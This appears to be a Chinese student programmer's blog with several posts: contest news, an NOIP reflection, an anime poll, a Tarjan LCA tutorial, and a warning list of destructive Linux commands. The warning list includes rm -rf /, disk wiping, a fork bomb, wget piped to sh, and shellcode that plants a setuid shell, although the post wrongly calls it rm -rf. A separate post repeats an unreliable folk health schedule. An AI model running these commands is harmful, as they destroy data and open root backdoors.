楼天城获得Google 2008编程挑战赛冠军
Google 2008编程挑战赛已顺利结束，清华大学计算机系的楼天城获得第一名，南京外国语学校的朱泽园获得第二名。进入最终决赛的一百位选手中有19位来自中国。从Google搜索结果来看，楼天城和朱泽园都有过集训参加国际奥林匹克竞赛的经历，其中楼天城与其他两位选手组成清华代表队参加了2007年ACM国际大学生程序设计竞赛，并获得第二名。
膜拜大牛~
7个极具杀伤性的Linux命令
如果您使用Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还是会对你的系统造成严重影响.
有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的余地.
1. Code:
rm -rf /
这个很简单,根目录会被擦光.
2. Code:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
没看懂?呵呵,其实就是16进制的[rm -rf /].
3. Code:
mkfs.ext3 /dev/sda
抹盘行为无疑是危险的
4. Code:
){:|:&};:
这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机.
5. Code:
any_command > /dev/sda
这个命令将会写入大量的RAW数据,可以导致数据丢失.
6. Code:
wget http://some_untrusted_source -O- | sh
和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝卜一样,也不会保险.
7. Code:
mv /home/yourhomedirectory/* /dev/null
这条命令无疑会让系统抓狂,你的主目录会再也看不到.
NOIP结束了
首先恭喜sheva和ricky两位大大获得1=，sheva有可能是400分哦，ricky这次数学联赛很郁闷的拿了个2=第一，不过还是要恭喜 
。
240分，一个方格取数的DP比赛的时候竟然就没写好，这会，不，必然会成为我学习生涯中的一个不小遗憾，究其原因，不能用发挥失常来一了了之，比赛的前一天晚上我竟然还在做题而不是好好的把以前的题目好好地再看一边，方格取数比赛前也写过几次，但每次总要调试不少时间，也没有思考过怎么让这种DP题的1A率提高。
这次学校给了我们信息学竞赛的同学整整一个月的免修时间，在这段时间里，我也一直在认真地看题、做题，但一直没有静下心来总结过，到底什么类型题目还有问题，什么数据结构还不熟练，经典的题目也没有一道一道的仔细地回顾，这恐怕是这次失利的根本原因。
OI，从小学开始上LOGO的培训班算起，这个词也已经陪伴了我走过生命一半的时光，这样的结果总是让人感到失望，已经在高三毕业班的我，不得不要暂时地离开OI这个与自己似乎已经不可分割的词，不过，我决不会就这样放弃了OI，放弃了自己从小对计算机的梦想。
既然如此，我给自己一个约定：OI，我们明年6月再见！
PS:sheva，以后在SJTU我们一起组个ACM队怎么样？
生活无规律危害极大！
看到校内上一篇日志，把一些废话过滤掉，贴在这里，不管是不是属实，大家都注意了！
晚上9-11点为免疫系统（淋巴）排毒时间，此段时间应安静或听音乐
晚间11-凌晨1点，肝的排毒，需在熟睡中进行。
凌晨1-3点，胆的排毒，亦同。
凌晨3-5点，肺的排毒。此即为何咳嗽的人在这段时间咳得最剧烈，
因排毒动作已走到肺；不应用止咳药，以免抑制废积物的排除。
凌晨5-7点，大肠的排毒，应上厕所排便。
早上7-9点，小肠大量吸收营养的时段，应吃早餐。
疗病者最好早吃，在6点半前，养生者在7点半前，
不吃早餐者应改变习惯，即使拖到9、10点吃都比不吃好。
半夜至凌晨4点为脊椎造血时段，必须熟睡，不宜熬夜.
PS:我发现我已经快废了.. 
Kagami or Tsukasa?2008年日萌决胜战
| 决胜 | |||||||
| 11月02日（日） | |||||||
| 优胜: | |||||||
| 准决胜 | |||||||
| 10月30日（木） | 10月31日（金） | ||||||
 |
 |
||||||
| 优胜: 柊镜(54.9%) | 优胜: 柊司(50.9%) | ||||||
| 1122 | 922 | 1137 | 1096 | ||||
| 准准决胜 | |||||||
| 10月25日（土） | 10月26日（日） | 10月27日（月） | 10月28日（火） | ||||
|
 |
|
 |
||||
| 优胜: 柊镜(59.0%) | 优胜: 渚(51.7%) | 优胜: 柊司(54.0%) | 优胜: 雏菊(55.5%) | ||||
| 1138 | 790 | 891 | 953 | 1049 | 894 | 750 | 934 |
| C组 代表 | D组 代表 | E组 代表 | F组 代表 | G组 代表 | A组 代表 | B组 代表 | H组 代表 |
|
 |
 |
|
|
 |
 |
|
| 柊镜 | 坂上智代 | 川添珠姫 | 古河渚 | 柊司 | 伊吹风子 | 千叶纪梨乃 | 桂雏菊 |
| 幸运☆星 | CLANNAD | 竹刀少女 | CLANNAD | 幸运☆星 | CLANNAD | 竹刀少女 | 旋风管家 |
PS：我对日萌绝望了…T T
最近公共祖先(LCA)的Tarjan算法
最近公共祖先（LCA）问题都应该很熟悉了。
LCA（T，u，v）：在有根树T中，询问一个距离根最远的结点x，使得x同时为结点u、v的祖先
LCA问题可以用朴素的DFS方法解决，但是时间复杂度就很高了，这里介绍一种高级一点的解决LCA问题的Tarjan算法。
Tarjan算法是由Robert Tarjan在1979年发现的一种高效的离线算法，也就是说，它要首先读入所有的询问（求一次LCA叫做一次询问），然后并不一定按照原来的顺序处理这些询问。
首先需要有一些预备知识：
1.基本图论
这个就不多讲了，如果有不知道的可以随便抓一本数据结构的书恶补一下。
2.并查集
并查集其实也是很简单的东西，实现的代码都不超过10行。
这里提一下并查集的概念，并查集是一种处理元素之间等价关系的数据结构，一开始我们假设元素都是分别属于一个独立的集合里的，主要支持两种操作：
- 合并两个不相交集合(Union)
- 判断两个元素是否属于同一集合(Find)
需要知道一点，就是并查集的Find操作的时间复杂度是常数级别的。
考察树T中所有与结点u有关的询问(u, v)
对于子树u中的结点v，满足LCA(u, v) = u
对于子树p1而非子树u中的结点v，满足LCA(u, v) = p1
对于子树p2而非子树p1中的结点v，满足LCA(u, v) = p2
算法DFS有根树T，定义从根节点到当前正在遍历的结点u的路径为活跃路径P
对于每个已经遍历过的结点x，我们用并查集将其连接到P上距离其最近的结点Find(x)
对于每个已经遍历过的结点x，我们用并查集将其连接到P上距离其最近的结点Find(x)
记录与u有关的询问集合为Q(u)
对于Q(u)中的任意一组询问LCA(u, v)，如果v已经遍历过，那么答案就是Find(v)，所以我们只需要维护当前所有以遍历结点的F即可。
第一次遍历结点u时，有Find(u) = u；
遍历完子树u后，子树u内任意结点v均有F(v) = u；回溯回结点p1时，子树u内任意结点v均有F(w) = p1，使用并查集完成即可。
遍历完子树u后，子树u内任意结点v均有F(v) = u；回溯回结点p1时，子树u内任意结点v均有F(w) = p1，使用并查集完成即可。
算法流程：
Tarjan(u)
F(u)<-u；
For each (u,v) in Q(u) do Answer(u,v) <- F(v)
For each v in son(u)
a) Tarjan(v)；
b) F(v) <- u；
这里的F用并查集来实现。
这样LCA的Tarjan算法就可以完整的实现了，这个算法的时间复杂度取决于并查集Find操作的时间复杂度，如果采用不相交集森林的方法来实现并查集并采用路径压缩来优化，这样Find操作的时间复杂度可以认为是常数级别的。
所以Tarjan算法的时间复杂度就是O(Na(N) + Q)，a(N)在可以计算的范围内是一个小于4的常数，空间复杂度为O(N)，其中N表示问题规模，Q表示询问次数。